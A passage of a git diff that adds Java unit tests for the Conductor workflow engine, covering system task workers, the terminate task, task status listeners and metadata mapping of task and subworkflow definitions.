startWorkflowInput.setName(subWorkflowName); + startWorkflowInput.setVersion(subWorkflowVersion); + startWorkflowInput.setWorkflowInput(expectedWorkflowInput(workflowInput, workflowDef)); + startWorkflowInput.setCorrelationId(workflowInstance.getCorrelationId()); + startWorkflowInput.setParentWorkflowId(workflowInstance.getWorkflowId()); + startWorkflowInput.setParentWorkflowTaskId(task.getTaskId()); + startWorkflowInput.setTaskToDomain( + taskToDomain == null ? workflowInstance.getTaskToDomain() : taskToDomain); + startWorkflowInput.setWorkflowId(workflowId); + return startWorkflowInput; + } + + private Map expectedWorkflowInput( + Map workflowInput, WorkflowDef workflowDef) { + if (workflowDef == null) { + return workflowInput; + } + Map expectedInput = new HashMap<>(workflowInput); + Map systemMetadata = + expectedInput.get("_systemMetadata") instanceof Map + ? new HashMap<>((Map) expectedInput.get("_systemMetadata")) + : new HashMap<>(); + systemMetadata.put("dynamic", true); + expectedInput.put("_systemMetadata", systemMetadata); + return expectedInput; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSystemTaskWorker.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSystemTaskWorker.java new file mode 100644 index 0000000..bdee32b --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSystemTaskWorker.java @@ -0,0 +1,189 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.time.Duration; +import java.util.Collections; +import java.util.List; +import java.util.concurrent.CountDownLatch; + +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.mockito.Mockito; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.execution.AsyncSystemTaskExecutor; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.service.ExecutionService; + +import static org.junit.Assert.assertEquals; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyInt; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.doAnswer; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +public class TestSystemTaskWorker { + + private static final String TEST_TASK = "system_task"; + private static final String ISOLATED_TASK = "system_task-isolated"; + + private AsyncSystemTaskExecutor asyncSystemTaskExecutor; + private ExecutionService executionService; + private QueueDAO queueDAO; + private ConductorProperties properties; + + private SystemTaskWorker systemTaskWorker; + + @Before + public void setUp() { + asyncSystemTaskExecutor = mock(AsyncSystemTaskExecutor.class); + executionService = mock(ExecutionService.class); + queueDAO = mock(QueueDAO.class); + properties = mock(ConductorProperties.class); + + when(properties.getSystemTaskWorkerThreadCount()).thenReturn(10); + when(properties.getIsolatedSystemTaskWorkerThreadCount()).thenReturn(10); + when(properties.getSystemTaskWorkerCallbackDuration()).thenReturn(Duration.ofSeconds(30)); + when(properties.getSystemTaskWorkerPollInterval()).thenReturn(Duration.ofSeconds(30)); + + systemTaskWorker = + new SystemTaskWorker( + queueDAO, asyncSystemTaskExecutor, properties, executionService); + systemTaskWorker.start(); + } + + @After + public void tearDown() { + systemTaskWorker.queueExecutionConfigMap.clear(); + systemTaskWorker.stop(); + } + + @Test + public void testGetExecutionConfigForSystemTask() { + when(properties.getSystemTaskWorkerThreadCount()).thenReturn(5); + systemTaskWorker = + new SystemTaskWorker( + queueDAO, asyncSystemTaskExecutor, properties, executionService); + assertEquals( + systemTaskWorker.getExecutionConfig("").getSemaphoreUtil().availableSlots(), 5); + } + + @Test + public void testGetExecutionConfigForIsolatedSystemTask() { + when(properties.getIsolatedSystemTaskWorkerThreadCount()).thenReturn(7); + systemTaskWorker = + new SystemTaskWorker( + queueDAO, asyncSystemTaskExecutor, properties, executionService); + assertEquals( + systemTaskWorker.getExecutionConfig("test-iso").getSemaphoreUtil().availableSlots(), + 7); + } + + @Test + public void testPollAndExecuteSystemTask() throws Exception { + when(queueDAO.pop(anyString(), anyInt(), anyInt())) + .thenReturn(Collections.singletonList("taskId")); + + CountDownLatch latch = new CountDownLatch(1); + doAnswer( + invocation -> { + latch.countDown(); + return null; + }) + .when(asyncSystemTaskExecutor) + .execute(any(), anyString()); + + systemTaskWorker.pollAndExecute(new TestTask(), TEST_TASK); + + latch.await(); + + verify(asyncSystemTaskExecutor).execute(any(), anyString()); + } + + @Test + public void testBatchPollAndExecuteSystemTask() throws Exception { + when(queueDAO.pop(anyString(), anyInt(), anyInt())).thenReturn(List.of("t1", "t1")); + + CountDownLatch latch = new CountDownLatch(2); + doAnswer( + invocation -> { + latch.countDown(); + return null; + }) + .when(asyncSystemTaskExecutor) + .execute(any(), eq("t1")); + + systemTaskWorker.pollAndExecute(new TestTask(), TEST_TASK); + + latch.await(); + + verify(asyncSystemTaskExecutor, Mockito.times(2)).execute(any(), eq("t1")); + } + + @Test + public void testPollAndExecuteIsolatedSystemTask() throws Exception { + when(queueDAO.pop(anyString(), anyInt(), anyInt())).thenReturn(List.of("isolated_taskId")); + + CountDownLatch latch = new CountDownLatch(1); + doAnswer( + invocation -> { + latch.countDown(); + return null; + }) + .when(asyncSystemTaskExecutor) + .execute(any(), eq("isolated_taskId")); + + systemTaskWorker.pollAndExecute(new IsolatedTask(), ISOLATED_TASK); + + latch.await(); + + verify(asyncSystemTaskExecutor, Mockito.times(1)).execute(any(), eq("isolated_taskId")); + } + + @Test + public void testPollException() { + when(properties.getSystemTaskWorkerThreadCount()).thenReturn(1); + when(queueDAO.pop(anyString(), anyInt(), anyInt())).thenThrow(RuntimeException.class); + + systemTaskWorker.pollAndExecute(new TestTask(), TEST_TASK); + + verify(asyncSystemTaskExecutor, Mockito.never()).execute(any(), anyString()); + } + + @Test + public void testBatchPollException() { + when(properties.getSystemTaskWorkerThreadCount()).thenReturn(2); + when(queueDAO.pop(anyString(), anyInt(), anyInt())).thenThrow(RuntimeException.class); + + systemTaskWorker.pollAndExecute(new TestTask(), TEST_TASK); + + verify(asyncSystemTaskExecutor, Mockito.never()).execute(any(), anyString()); + } + + static class TestTask extends WorkflowSystemTask { + public TestTask() { + super(TEST_TASK); + } + } + + static class IsolatedTask extends WorkflowSystemTask { + public IsolatedTask() { + super(ISOLATED_TASK); + } + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSystemTaskWorkerCoordinator.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSystemTaskWorkerCoordinator.java new file mode 100644 index 0000000..9e04e8d --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSystemTaskWorkerCoordinator.java @@ -0,0 +1,60 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.time.Duration; +import java.util.Collections; + +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.core.config.ConductorProperties; + +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.doReturn; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class TestSystemTaskWorkerCoordinator { + + private static final String TEST_QUEUE = "test"; + private static final String EXECUTION_NAMESPACE_CONSTANT = "@exeNS"; + + private SystemTaskWorker systemTaskWorker; + private ConductorProperties properties; + + @Before + public void setUp() { + systemTaskWorker = mock(SystemTaskWorker.class); + properties = mock(ConductorProperties.class); + when(properties.getSystemTaskWorkerPollInterval()).thenReturn(Duration.ofMillis(50)); + when(properties.getSystemTaskWorkerExecutionNamespace()).thenReturn(""); + } + + @Test + public void testIsFromCoordinatorExecutionNameSpace() { + doReturn("exeNS").when(properties).getSystemTaskWorkerExecutionNamespace(); + SystemTaskWorkerCoordinator systemTaskWorkerCoordinator = + new SystemTaskWorkerCoordinator( + systemTaskWorker, properties, Collections.emptySet()); + assertTrue( + systemTaskWorkerCoordinator.isFromCoordinatorExecutionNameSpace( + new TaskWithExecutionNamespace())); + } + + static class TaskWithExecutionNamespace extends WorkflowSystemTask { + public TaskWithExecutionNamespace() { + super(TEST_QUEUE + EXECUTION_NAMESPACE_CONSTANT); + } + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestTerminate.java b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestTerminate.java new file mode 100644 index 0000000..1831538 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/tasks/TestTerminate.java @@ -0,0 +1,162 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; + +import org.junit.Test; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.core.execution.tasks.Terminate.getTerminationStatusParameter; +import static com.netflix.conductor.core.execution.tasks.Terminate.getTerminationWorkflowOutputParameter; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.mockito.Mockito.mock; + +public class TestTerminate { + + private final WorkflowExecutor executor = mock(WorkflowExecutor.class); + + @Test + public void should_fail_if_input_status_is_not_valid() { + WorkflowModel workflow = new WorkflowModel(); + Terminate terminateTask = new Terminate(); + + Map input = new HashMap<>(); + input.put(getTerminationStatusParameter(), "PAUSED"); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(input); + terminateTask.execute(workflow, task, executor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + } + + @Test + public void should_fail_if_input_status_is_empty() { + WorkflowModel workflow = new WorkflowModel(); + Terminate terminateTask = new Terminate(); + + Map input = new HashMap<>(); + input.put(getTerminationStatusParameter(), ""); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(input); + terminateTask.execute(workflow, task, executor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + } + + @Test + public void should_fail_if_input_status_is_null() { + WorkflowModel workflow = new WorkflowModel(); + Terminate terminateTask = new Terminate(); + + Map input = new HashMap<>(); + input.put(getTerminationStatusParameter(), null); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(input); + terminateTask.execute(workflow, task, executor); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + } + + @Test + public void should_complete_workflow_on_terminate_task_success() { + WorkflowModel workflow = new WorkflowModel(); + Terminate terminateTask = new Terminate(); + workflow.setOutput(Collections.singletonMap("output", "${task1.output.value}")); + + HashMap expectedOutput = + new HashMap<>() { + { + put("output", "${task0.output.value}"); + } + }; + + Map input = new HashMap<>(); + input.put(getTerminationStatusParameter(), "COMPLETED"); + input.put(getTerminationWorkflowOutputParameter(), "${task0.output.value}"); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(input); + terminateTask.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals(expectedOutput, task.getOutputData()); + } + + @Test + public void should_fail_workflow_on_terminate_task_success() { + WorkflowModel workflow = new WorkflowModel(); + Terminate terminateTask = new Terminate(); + workflow.setOutput(Collections.singletonMap("output", "${task1.output.value}")); + + HashMap expectedOutput = + new HashMap<>() { + { + put("output", "${task0.output.value}"); + } + }; + + Map input = new HashMap<>(); + input.put(getTerminationStatusParameter(), "FAILED"); + input.put(getTerminationWorkflowOutputParameter(), "${task0.output.value}"); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(input); + terminateTask.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertEquals(expectedOutput, task.getOutputData()); + } + + @Test + public void should_fail_workflow_on_terminate_task_success_with_empty_output() { + WorkflowModel workflow = new WorkflowModel(); + Terminate terminateTask = new Terminate(); + + Map input = new HashMap<>(); + input.put(getTerminationStatusParameter(), "FAILED"); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(input); + terminateTask.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + assertTrue(task.getOutputData().isEmpty()); + } + + @Test + public void should_fail_workflow_on_terminate_task_success_with_resolved_output() { + WorkflowModel workflow = new WorkflowModel(); + Terminate terminateTask = new Terminate(); + + HashMap expectedOutput = + new HashMap<>() { + { + put("result", 1); + } + }; + + Map input = new HashMap<>(); + input.put(getTerminationStatusParameter(), "FAILED"); + input.put(getTerminationWorkflowOutputParameter(), expectedOutput); + + TaskModel task = new TaskModel(); + task.getInputData().putAll(input); + terminateTask.execute(workflow, task, executor); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/listener/TaskStatusListenerTest.java b/core/src/test/java/com/netflix/conductor/core/listener/TaskStatusListenerTest.java new file mode 100644 index 0000000..67b927d --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/listener/TaskStatusListenerTest.java @@ -0,0 +1,216 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.listener; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.model.TaskModel; + +import static org.junit.Assert.assertEquals; + +public class TaskStatusListenerTest { + + private static class TestTaskStatusListener implements TaskStatusListener { + int scheduledCount = 0; + int inProgressCount = 0; + int completedCount = 0; + int completedWithErrorsCount = 0; + int canceledCount = 0; + int failedCount = 0; + int failedWithTerminalErrorCount = 0; + int timedOutCount = 0; + int skippedCount = 0; + + @Override + public void onTaskScheduled(TaskModel task) { + scheduledCount++; + } + + @Override + public void onTaskInProgress(TaskModel task) { + inProgressCount++; + } + + @Override + public void onTaskCompleted(TaskModel task) { + completedCount++; + } + + @Override + public void onTaskCompletedWithErrors(TaskModel task) { + completedWithErrorsCount++; + } + + @Override + public void onTaskCanceled(TaskModel task) { + canceledCount++; + } + + @Override + public void onTaskFailed(TaskModel task) { + failedCount++; + } + + @Override + public void onTaskFailedWithTerminalError(TaskModel task) { + failedWithTerminalErrorCount++; + } + + @Override + public void onTaskTimedOut(TaskModel task) { + timedOutCount++; + } + + @Override + public void onTaskSkipped(TaskModel task) { + skippedCount++; + } + + void reset() { + scheduledCount = 0; + inProgressCount = 0; + completedCount = 0; + completedWithErrorsCount = 0; + canceledCount = 0; + failedCount = 0; + failedWithTerminalErrorCount = 0; + timedOutCount = 0; + skippedCount = 0; + } + } + + @Test + public void testTaskStatusListenerEnabled() { + TestTaskStatusListener listener = new TestTaskStatusListener(); + TaskModel task = createTaskWithListenerEnabled(true); + + // Test all methods with enabled listener + listener.onTaskScheduledIfEnabled(task); + assertEquals(1, listener.scheduledCount); + + listener.onTaskInProgressIfEnabled(task); + assertEquals(1, listener.inProgressCount); + + listener.onTaskCompletedIfEnabled(task); + assertEquals(1, listener.completedCount); + + listener.onTaskCompletedWithErrorsIfEnabled(task); + assertEquals(1, listener.completedWithErrorsCount); + + listener.onTaskCanceledIfEnabled(task); + assertEquals(1, listener.canceledCount); + + listener.onTaskFailedIfEnabled(task); + assertEquals(1, listener.failedCount); + + listener.onTaskFailedWithTerminalErrorIfEnabled(task); + assertEquals(1, listener.failedWithTerminalErrorCount); + + listener.onTaskTimedOutIfEnabled(task); + assertEquals(1, listener.timedOutCount); + + listener.onTaskSkippedIfEnabled(task); + assertEquals(1, listener.skippedCount); + } + + @Test + public void testTaskStatusListenerDisabled() { + TestTaskStatusListener listener = new TestTaskStatusListener(); + TaskModel task = createTaskWithListenerEnabled(false); + + // Test all methods with disabled listener + listener.onTaskScheduledIfEnabled(task); + assertEquals(0, listener.scheduledCount); + + listener.onTaskInProgressIfEnabled(task); + assertEquals(0, listener.inProgressCount); + + listener.onTaskCompletedIfEnabled(task); + assertEquals(0, listener.completedCount); + + listener.onTaskCompletedWithErrorsIfEnabled(task); + assertEquals(0, listener.completedWithErrorsCount); + + listener.onTaskCanceledIfEnabled(task); + assertEquals(0, listener.canceledCount); + + listener.onTaskFailedIfEnabled(task); + assertEquals(0, listener.failedCount); + + listener.onTaskFailedWithTerminalErrorIfEnabled(task); + assertEquals(0, listener.failedWithTerminalErrorCount); + + listener.onTaskTimedOutIfEnabled(task); + assertEquals(0, listener.timedOutCount); + + listener.onTaskSkippedIfEnabled(task); + assertEquals(0, listener.skippedCount); + } + + @Test + public void testTaskStatusListenerDefaultBehaviorWhenTaskDefIsNull() { + // This tests backward compatibility - when TaskDef is null (system tasks without explicit + // TaskDef), + // the listener should be enabled by default + TestTaskStatusListener listener = new TestTaskStatusListener(); + TaskModel task = new TaskModel(); + // TaskDef is null by default + + // Test all methods with null TaskDef - should default to enabled + listener.onTaskScheduledIfEnabled(task); + assertEquals(1, listener.scheduledCount); + + listener.onTaskInProgressIfEnabled(task); + assertEquals(1, listener.inProgressCount); + + listener.onTaskCompletedIfEnabled(task); + assertEquals(1, listener.completedCount); + + listener.onTaskCompletedWithErrorsIfEnabled(task); + assertEquals(1, listener.completedWithErrorsCount); + + listener.onTaskCanceledIfEnabled(task); + assertEquals(1, listener.canceledCount); + + listener.onTaskFailedIfEnabled(task); + assertEquals(1, listener.failedCount); + + listener.onTaskFailedWithTerminalErrorIfEnabled(task); + assertEquals(1, listener.failedWithTerminalErrorCount); + + listener.onTaskTimedOutIfEnabled(task); + assertEquals(1, listener.timedOutCount); + + listener.onTaskSkippedIfEnabled(task); + assertEquals(1, listener.skippedCount); + } + + @Test + public void testTaskStatusListenerDefaultValue() { + // Test that the default value of taskStatusListenerEnabled is true + TaskDef taskDef = new TaskDef(); + assertEquals(true, taskDef.isTaskStatusListenerEnabled()); + } + + private TaskModel createTaskWithListenerEnabled(boolean enabled) { + TaskModel task = new TaskModel(); + WorkflowTask workflowTask = new WorkflowTask(); + TaskDef taskDef = new TaskDef(); + taskDef.setTaskStatusListenerEnabled(enabled); + workflowTask.setTaskDefinition(taskDef); + task.setWorkflowTask(workflowTask); + return task; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/metadata/MetadataMapperServiceTest.java b/core/src/test/java/com/netflix/conductor/core/metadata/MetadataMapperServiceTest.java new file mode 100644 index 0000000..1999dfb --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/metadata/MetadataMapperServiceTest.java @@ -0,0 +1,327 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.metadata; + +import java.util.List; +import java.util.Optional; +import java.util.Set; + +import org.junit.After; +import org.junit.Assert; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.dao.MetadataDAO; + +import jakarta.validation.ConstraintViolationException; + +import static com.netflix.conductor.TestUtils.getConstraintViolationMessages; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.reset; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.verifyNoInteractions; +import static org.mockito.Mockito.verifyNoMoreInteractions; +import static org.mockito.Mockito.when; + +@SuppressWarnings("SpringJavaAutowiredMembersInspection") +@RunWith(SpringRunner.class) +@EnableAutoConfiguration +public class MetadataMapperServiceTest { + + @TestConfiguration + static class TestMetadataMapperServiceConfiguration { + + @Bean + public MetadataDAO metadataDAO() { + return mock(MetadataDAO.class); + } + + @Bean + public MetadataMapperService metadataMapperService(MetadataDAO metadataDAO) { + return new MetadataMapperService(metadataDAO); + } + } + + @Autowired private MetadataDAO metadataDAO; + + @Autowired private MetadataMapperService metadataMapperService; + + @After + public void cleanUp() { + reset(metadataDAO); + } + + @Test + public void testMetadataPopulationOnSimpleTask() { + String nameTaskDefinition = "task1"; + TaskDef taskDefinition = createTaskDefinition(nameTaskDefinition); + WorkflowTask workflowTask = createWorkflowTask(nameTaskDefinition); + + when(metadataDAO.getTaskDef(nameTaskDefinition)).thenReturn(taskDefinition); + + WorkflowDef workflowDefinition = createWorkflowDefinition("testMetadataPopulation"); + workflowDefinition.setTasks(List.of(workflowTask)); + + metadataMapperService.populateTaskDefinitions(workflowDefinition); + + assertEquals(1, workflowDefinition.getTasks().size()); + WorkflowTask populatedWorkflowTask = workflowDefinition.getTasks().get(0); + assertNotNull(populatedWorkflowTask.getTaskDefinition()); + verify(metadataDAO).getTaskDef(nameTaskDefinition); + } + + @Test + public void testNoMetadataPopulationOnEmbeddedTaskDefinition() { + String nameTaskDefinition = "task2"; + TaskDef taskDefinition = createTaskDefinition(nameTaskDefinition); + WorkflowTask workflowTask = createWorkflowTask(nameTaskDefinition); + workflowTask.setTaskDefinition(taskDefinition); + + WorkflowDef workflowDefinition = createWorkflowDefinition("testMetadataPopulation"); + workflowDefinition.setTasks(List.of(workflowTask)); + + metadataMapperService.populateTaskDefinitions(workflowDefinition); + + assertEquals(1, workflowDefinition.getTasks().size()); + WorkflowTask populatedWorkflowTask = workflowDefinition.getTasks().get(0); + assertNotNull(populatedWorkflowTask.getTaskDefinition()); + verifyNoInteractions(metadataDAO); + } + + @Test + public void testMetadataPopulationOnlyOnNecessaryWorkflowTasks() { + String nameTaskDefinition1 = "task4"; + TaskDef taskDefinition = createTaskDefinition(nameTaskDefinition1); + WorkflowTask workflowTask1 = createWorkflowTask(nameTaskDefinition1); + workflowTask1.setTaskDefinition(taskDefinition); + + String nameTaskDefinition2 = "task5"; + WorkflowTask workflowTask2 = createWorkflowTask(nameTaskDefinition2); + + WorkflowDef workflowDefinition = createWorkflowDefinition("testMetadataPopulation"); + workflowDefinition.setTasks(List.of(workflowTask1, workflowTask2)); + + when(metadataDAO.getTaskDef(nameTaskDefinition2)).thenReturn(taskDefinition); + + metadataMapperService.populateTaskDefinitions(workflowDefinition); + + assertEquals(2, workflowDefinition.getTasks().size()); + List workflowTasks = workflowDefinition.getTasks(); + assertNotNull(workflowTasks.get(0).getTaskDefinition()); + assertNotNull(workflowTasks.get(1).getTaskDefinition()); + + verify(metadataDAO).getTaskDef(nameTaskDefinition2); + verifyNoMoreInteractions(metadataDAO); + } + + @Test + public void testMetadataPopulationMissingDefinitions() { + String nameTaskDefinition1 = "task4"; + WorkflowTask workflowTask1 = createWorkflowTask(nameTaskDefinition1); + + String nameTaskDefinition2 = "task5"; + WorkflowTask workflowTask2 = createWorkflowTask(nameTaskDefinition2); + + TaskDef taskDefinition = createTaskDefinition(nameTaskDefinition1); + + WorkflowDef workflowDefinition = createWorkflowDefinition("testMetadataPopulation"); + workflowDefinition.setTasks(List.of(workflowTask1, workflowTask2)); + + when(metadataDAO.getTaskDef(nameTaskDefinition1)).thenReturn(taskDefinition); + when(metadataDAO.getTaskDef(nameTaskDefinition2)).thenReturn(null); + + try { + metadataMapperService.populateTaskDefinitions(workflowDefinition); + } catch (NotFoundException nfe) { + fail("Missing TaskDefinitions are not defaulted"); + } + } + + @Test + public void testVersionPopulationForSubworkflowTaskIfVersionIsNotAvailable() { + String nameTaskDefinition = "taskSubworkflow6"; + String workflowDefinitionName = "subworkflow"; + int version = 3; + + WorkflowDef subWorkflowDefinition = createWorkflowDefinition("workflowDefinitionName"); + subWorkflowDefinition.setVersion(version); + + WorkflowTask workflowTask = createWorkflowTask(nameTaskDefinition); + workflowTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(workflowDefinitionName); + workflowTask.setSubWorkflowParam(subWorkflowParams); + + WorkflowDef workflowDefinition = createWorkflowDefinition("testMetadataPopulation"); + workflowDefinition.setTasks(List.of(workflowTask)); + + when(metadataDAO.getLatestWorkflowDef(workflowDefinitionName)) + .thenReturn(Optional.of(subWorkflowDefinition)); + + metadataMapperService.populateTaskDefinitions(workflowDefinition); + + assertEquals(1, workflowDefinition.getTasks().size()); + List workflowTasks = workflowDefinition.getTasks(); + SubWorkflowParams params = workflowTasks.get(0).getSubWorkflowParam(); + + assertEquals(workflowDefinitionName, params.getName()); + assertEquals(version, params.getVersion().intValue()); + + verify(metadataDAO).getLatestWorkflowDef(workflowDefinitionName); + verify(metadataDAO).getTaskDef(nameTaskDefinition); + verifyNoMoreInteractions(metadataDAO); + } + + @Test + public void testNoVersionPopulationForSubworkflowTaskIfAvailable() { + String nameTaskDefinition = "taskSubworkflow7"; + String workflowDefinitionName = "subworkflow"; + Integer version = 2; + + WorkflowTask workflowTask = createWorkflowTask(nameTaskDefinition); + workflowTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(workflowDefinitionName); + subWorkflowParams.setVersion(version); + workflowTask.setSubWorkflowParam(subWorkflowParams); + + WorkflowDef workflowDefinition = createWorkflowDefinition("testMetadataPopulation"); + workflowDefinition.setTasks(List.of(workflowTask)); + + metadataMapperService.populateTaskDefinitions(workflowDefinition); + + assertEquals(1, workflowDefinition.getTasks().size()); + List workflowTasks = workflowDefinition.getTasks(); + SubWorkflowParams params = workflowTasks.get(0).getSubWorkflowParam(); + + assertEquals(workflowDefinitionName, params.getName()); + assertEquals(version, params.getVersion()); + + verify(metadataDAO).getTaskDef(nameTaskDefinition); + verifyNoMoreInteractions(metadataDAO); + } + + @Test(expected = TerminateWorkflowException.class) + public void testExceptionWhenWorkflowDefinitionNotAvailable() { + String nameTaskDefinition = "taskSubworkflow8"; + String workflowDefinitionName = "subworkflow"; + + WorkflowTask workflowTask = createWorkflowTask(nameTaskDefinition); + workflowTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName(workflowDefinitionName); + workflowTask.setSubWorkflowParam(subWorkflowParams); + + WorkflowDef workflowDefinition = createWorkflowDefinition("testMetadataPopulation"); + workflowDefinition.setTasks(List.of(workflowTask)); + + when(metadataDAO.getLatestWorkflowDef(workflowDefinitionName)).thenReturn(Optional.empty()); + + metadataMapperService.populateTaskDefinitions(workflowDefinition); + + verify(metadataDAO).getLatestWorkflowDef(workflowDefinitionName); + } + + @Test(expected = IllegalArgumentException.class) + public void testLookupWorkflowDefinition() { + try { + String workflowName = "test"; + when(metadataDAO.getWorkflowDef(workflowName, 0)) + .thenReturn(Optional.of(new WorkflowDef())); + Optional optionalWorkflowDef = + metadataMapperService.lookupWorkflowDefinition(workflowName, 0); + assertTrue(optionalWorkflowDef.isPresent()); + metadataMapperService.lookupWorkflowDefinition(null, 0); + } catch (ConstraintViolationException ex) { + Assert.assertEquals(1, ex.getConstraintViolations().size()); + Set messages = getConstraintViolationMessages(ex.getConstraintViolations()); + assertTrue(messages.contains("WorkflowIds list cannot be null.")); + } + } + + @Test(expected = IllegalArgumentException.class) + public void testLookupLatestWorkflowDefinition() { + String workflowName = "test"; + when(metadataDAO.getLatestWorkflowDef(workflowName)) + .thenReturn(Optional.of(new WorkflowDef())); + Optional optionalWorkflowDef = + metadataMapperService.lookupLatestWorkflowDefinition(workflowName); + assertTrue(optionalWorkflowDef.isPresent()); + + metadataMapperService.lookupLatestWorkflowDefinition(null); + } + + @Test + public void testShouldNotPopulateTaskDefinition() { + WorkflowTask workflowTask = createWorkflowTask(""); + assertFalse(metadataMapperService.shouldPopulateTaskDefinition(workflowTask)); + } + + @Test + public void testShouldPopulateTaskDefinition() { + WorkflowTask workflowTask = createWorkflowTask("test"); + 